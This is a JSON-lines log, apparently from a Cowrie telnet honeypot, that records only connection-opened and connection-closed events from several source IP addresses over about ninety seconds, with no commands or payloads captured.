{"eventid":"cowrie.session.closed","duration":32.699766874313354,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:30.020666Z","src_ip":"62.210.97.77","session":"4769b67a2d1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44916,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7594c77d4e","protocol":"telnet","message":"New connection: 62.210.97.77:44916 (10.17.0.5:23) [session: 8f7594c77d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:30.244113Z"}
{"eventid":"cowrie.session.closed","duration":7.961783170700073,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:32.984300Z","src_ip":"38.54.119.93","session":"e54d92c7c367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38666129112244,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:33.823394Z","src_ip":"62.210.97.77","session":"fb9cbe03c74d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88323402404785,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:38.183271Z","src_ip":"62.210.97.77","session":"3e1f24987714","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60430,"dst_ip":"10.17.0.5","dst_port":23,"session":"36cc7f5e2ac0","protocol":"telnet","message":"New connection: 38.54.119.93:60430 (10.17.0.5:23) [session: 36cc7f5e2ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:38.844183Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52516,"dst_ip":"10.17.0.5","dst_port":23,"session":"988d18b599b4","protocol":"telnet","message":"New connection: 62.210.97.77:52516 (10.17.0.5:23) [session: 988d18b599b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:40.049929Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48694,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0059e8a4618","protocol":"telnet","message":"New connection: 65.60.27.33:48694 (10.17.0.5:23) [session: a0059e8a4618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:40.857158Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52520,"dst_ip":"10.17.0.5","dst_port":23,"session":"c877153ca431","protocol":"telnet","message":"New connection: 62.210.97.77:52520 (10.17.0.5:23) [session: c877153ca431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:41.031839Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52528,"dst_ip":"10.17.0.5","dst_port":23,"session":"06f3a690f8ec","protocol":"telnet","message":"New connection: 62.210.97.77:52528 (10.17.0.5:23) [session: 06f3a690f8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:41.789225Z"}
{"eventid":"cowrie.session.closed","duration":46.815664768218994,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:42.949306Z","src_ip":"38.54.119.93","session":"1007691a8b3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51216,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce19340f0194","protocol":"telnet","message":"New connection: 65.60.27.33:51216 (10.17.0.5:23) [session: ce19340f0194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:42.975226Z"}
{"eventid":"cowrie.session.closed","duration":5.546123504638672,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:44.390139Z","src_ip":"38.54.119.93","session":"36cc7f5e2ac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55892,"dst_ip":"10.17.0.5","dst_port":23,"session":"367b263b0023","protocol":"telnet","message":"New connection: 65.60.27.33:55892 (10.17.0.5:23) [session: 367b263b0023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:47.014856Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57062,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b33eb88c985","protocol":"telnet","message":"New connection: 65.60.27.33:57062 (10.17.0.5:23) [session: 9b33eb88c985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:48.078636Z"}
{"eventid":"cowrie.session.closed","duration":34.30701732635498,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:48.953112Z","src_ip":"62.210.97.77","session":"542aa6ab452e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2351624965667725,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:49.313707Z","src_ip":"65.60.27.33","session":"9b33eb88c985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58770,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ac181177b8","protocol":"telnet","message":"New connection: 65.60.27.33:58770 (10.17.0.5:23) [session: 05ac181177b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:49.623438Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55202,"dst_ip":"10.17.0.5","dst_port":23,"session":"e30b9562db8d","protocol":"telnet","message":"New connection: 165.232.131.181:55202 (10.17.0.5:23) [session: e30b9562db8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:49.746484Z"}
{"eventid":"cowrie.session.closed","duration":31.257890701293945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:52.391203Z","src_ip":"62.210.97.77","session":"d98fe059929a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43906,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b36f717a24e","protocol":"telnet","message":"New connection: 62.210.97.77:43906 (10.17.0.5:23) [session: 5b36f717a24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:52.554826Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43914,"dst_ip":"10.17.0.5","dst_port":23,"session":"76e925913163","protocol":"telnet","message":"New connection: 62.210.97.77:43914 (10.17.0.5:23) [session: 76e925913163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:52.968892Z"}
{"eventid":"cowrie.session.closed","duration":34.17699122428894,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:53.140870Z","src_ip":"62.210.97.77","session":"510d0493c126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43916,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a1e32af542","protocol":"telnet","message":"New connection: 62.210.97.77:43916 (10.17.0.5:23) [session: 96a1e32af542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:53.509592Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"267d0a1b6fc8","protocol":"telnet","message":"New connection: 65.60.27.33:35942 (10.17.0.5:23) [session: 267d0a1b6fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:54.594066Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57154,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bdcabf5bc55","protocol":"telnet","message":"New connection: 165.232.131.181:57154 (10.17.0.5:23) [session: 2bdcabf5bc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:56.129432Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43924,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab3c67f800da","protocol":"telnet","message":"New connection: 62.210.97.77:43924 (10.17.0.5:23) [session: ab3c67f800da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:57.374171Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43940,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e72b6c143fe","protocol":"telnet","message":"New connection: 62.210.97.77:43940 (10.17.0.5:23) [session: 6e72b6c143fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:57.712116Z"}
{"eventid":"cowrie.session.closed","duration":34.3228759765625,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:58.374424Z","src_ip":"62.210.97.77","session":"6c1adcb7d805","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.67549443244934,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:59.637485Z","src_ip":"62.210.97.77","session":"88e3393c996c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40108,"dst_ip":"10.17.0.5","dst_port":23,"session":"234b138c09ce","protocol":"telnet","message":"New connection: 62.210.97.77:40108 (10.17.0.5:23) [session: 234b138c09ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:00.223536Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40124,"dst_ip":"10.17.0.5","dst_port":23,"session":"8702e39ca97f","protocol":"telnet","message":"New connection: 62.210.97.77:40124 (10.17.0.5:23) [session: 8702e39ca97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:01.097460Z"}
{"eventid":"cowrie.session.closed","duration":31.87754774093628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:01.449050Z","src_ip":"62.210.97.77","session":"ff9c557ba00d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43682,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec2e9dcb15b8","protocol":"telnet","message":"New connection: 65.60.27.33:43682 (10.17.0.5:23) [session: ec2e9dcb15b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:01.504679Z"}
{"eventid":"cowrie.session.closed","duration":34.074249029159546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:02.534400Z","src_ip":"62.210.97.77","session":"373abc3f73df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27448916435242,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:04.518466Z","src_ip":"62.210.97.77","session":"8f7594c77d4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.1699013710022,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:04.535548Z","src_ip":"165.232.131.181","session":"54383e560d26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.62030911445618,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:08.158777Z","src_ip":"38.54.119.93","session":"a2ce990abaad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34616,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a89399f1352","protocol":"telnet","message":"New connection: 62.210.97.77:34616 (10.17.0.5:23) [session: 2a89399f1352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:08.908800Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34628,"dst_ip":"10.17.0.5","dst_port":23,"session":"04716c507c34","protocol":"telnet","message":"New connection: 62.210.97.77:34628 (10.17.0.5:23) [session: 04716c507c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:09.279721Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.202","src_port":10966,"dst_ip":"10.17.0.5","dst_port":23,"session":"27787e6c3f38","protocol":"telnet","message":"New connection: 177.36.200.202:10966 (10.17.0.5:23) [session: 27787e6c3f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:09.515913Z"}
{"eventid":"cowrie.session.closed","duration":33.30667519569397,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:13.356356Z","src_ip":"62.210.97.77","session":"988d18b599b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64600586891174,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:14.435117Z","src_ip":"62.210.97.77","session":"06f3a690f8ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38058,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b1c88b432ba","protocol":"telnet","message":"New connection: 165.232.131.181:38058 (10.17.0.5:23) [session: 2b1c88b432ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:17.745313Z"}
{"eventid":"cowrie.session.closed","duration":36.99466896057129,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:18.026349Z","src_ip":"62.210.97.77","session":"c877153ca431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35976,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b8de8b4c23c","protocol":"telnet","message":"New connection: 65.60.27.33:35976 (10.17.0.5:23) [session: 8b8de8b4c23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:20.303236Z"}
{"eventid":"cowrie.session.closed","duration":37.628597259521484,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:20.603706Z","src_ip":"65.60.27.33","session":"ce19340f0194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.279714822769165,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:22.024642Z","src_ip":"165.232.131.181","session":"2b1c88b432ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39950,"dst_ip":"10.17.0.5","dst_port":23,"session":"5084785bede3","protocol":"telnet","message":"New connection: 62.210.97.77:39950 (10.17.0.5:23) [session: 5084785bede3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:22.910724Z"}
{"eventid":"cowrie.session.closed","duration":42.11519455909729,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:22.972265Z","src_ip":"65.60.27.33","session":"a0059e8a4618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.997580289840698,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:23.513360Z","src_ip":"177.36.200.202","session":"27787e6c3f38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.306754112243652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:23.861467Z","src_ip":"62.210.97.77","session":"5b36f717a24e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40974,"dst_ip":"10.17.0.5","dst_port":23,"session":"66c59478ecc3","protocol":"telnet","message":"New connection: 165.232.131.181:40974 (10.17.0.5:23) [session: 66c59478ecc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:24.792396Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34030,"dst_ip":"10.17.0.5","dst_port":23,"session":"fafff5a78f70","protocol":"telnet","message":"New connection: 38.54.119.93:34030 (10.17.0.5:23) [session: fafff5a78f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:26.308224Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39966,"dst_ip":"10.17.0.5","dst_port":23,"session":"95191c9943de","protocol":"telnet","message":"New connection: 62.210.97.77:39966 (10.17.0.5:23) [session: 95191c9943de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:27.383957Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41802,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe0615d458b","protocol":"telnet","message":"New connection: 165.232.131.181:41802 (10.17.0.5:23) [session: 4fe0615d458b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:27.812136Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39982,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb25dc6c3883","protocol":"telnet","message":"New connection: 62.210.97.77:39982 (10.17.0.5:23) [session: bb25dc6c3883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:28.078908Z"}
{"eventid":"cowrie.session.closed","duration":35.951374530792236,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:28.920128Z","src_ip":"62.210.97.77","session":"76e925913163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.98761606216431,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:29.497090Z","src_ip":"62.210.97.77","session":"96a1e32af542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40582,"dst_ip":"10.17.0.5","dst_port":23,"session":"26644d8892e6","protocol":"telnet","message":"New connection: 165.232.131.181:40582 (10.17.0.5:23) [session: 26644d8892e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:29.803301Z"}
{"eventid":"cowrie.session.closed","duration":0.08025002479553223,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:29.883452Z","src_ip":"165.232.131.181","session":"26644d8892e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.500630617141724,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:31.808737Z","src_ip":"38.54.119.93","session":"fafff5a78f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44924,"dst_ip":"10.17.0.5","dst_port":23,"session":"783ab755c78d","protocol":"telnet","message":"New connection: 62.210.97.77:44924 (10.17.0.5:23) [session: 783ab755c78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:32.184970Z"}
{"eventid":"cowrie.session.closed","duration":45.2591609954834,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:32.273921Z","src_ip":"65.60.27.33","session":"367b263b0023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44066,"dst_ip":"10.17.0.5","dst_port":23,"session":"28a2da47b25a","protocol":"telnet","message":"New connection: 165.232.131.181:44066 (10.17.0.5:23) [session: 28a2da47b25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:32.504487Z"}
{"eventid":"cowrie.session.closed","duration":35.17978572845459,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:32.553437Z","src_ip":"62.210.97.77","session":"ab3c67f800da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44938,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a12d6b15572","protocol":"telnet","message":"New connection: 62.210.97.77:44938 (10.17.0.5:23) [session: 6a12d6b15572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:32.921604Z"}
{"eventid":"cowrie.session.closed","duration":35.49441456794739,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:33.206398Z","src_ip":"62.210.97.77","session":"6e72b6c143fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60630,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb112e269bc0","protocol":"telnet","message":"New connection: 174.138.46.234:60630 (159.203.135.109:23) [session: eb112e269bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:34.801666Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39780,"dst_ip":"10.17.0.5","dst_port":23,"session":"601e07607e7f","protocol":"telnet","message":"New connection: 38.54.119.93:39780 (10.17.0.5:23) [session: 601e07607e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:35.363931Z"}
{"eventid":"cowrie.session.closed","duration":35.757397413253784,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:35.980801Z","src_ip":"62.210.97.77","session":"234b138c09ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44954,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cf714f45a3c","protocol":"telnet","message":"New connection: 62.210.97.77:44954 (10.17.0.5:23) [session: 2cf714f45a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:36.346550Z"}
{"eventid":"cowrie.session.closed","duration":42.354647159576416,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:36.948573Z","src_ip":"65.60.27.33","session":"267d0a1b6fc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.33052039146423,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:36.953836Z","src_ip":"65.60.27.33","session":"05ac181177b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.24768662452698,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:37.345025Z","src_ip":"62.210.97.77","session":"8702e39ca97f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44444,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f070e59998c","protocol":"telnet","message":"New connection: 165.232.131.181:44444 (10.17.0.5:23) [session: 7f070e59998c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:39.556879Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.123.252.75","src_port":46956,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec03ebc429d","protocol":"telnet","message":"New connection: 109.123.252.75:46956 (10.17.0.5:23) [session: 9ec03ebc429d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:39.796088Z"}
{"eventid":"cowrie.session.closed","duration":50.37242317199707,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:40.118629Z","src_ip":"165.232.131.181","session":"e30b9562db8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.42873287200928,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:40.558038Z","src_ip":"165.232.131.181","session":"2bdcabf5bc55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.577423095703125,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:41.378991Z","src_ip":"174.138.46.234","session":"eb112e269bc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39762,"dst_ip":"10.17.0.5","dst_port":23,"session":"db705e15cf3a","protocol":"telnet","message":"New connection: 62.210.97.77:39762 (10.17.0.5:23) [session: db705e15cf3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:09:41.947893Z"}
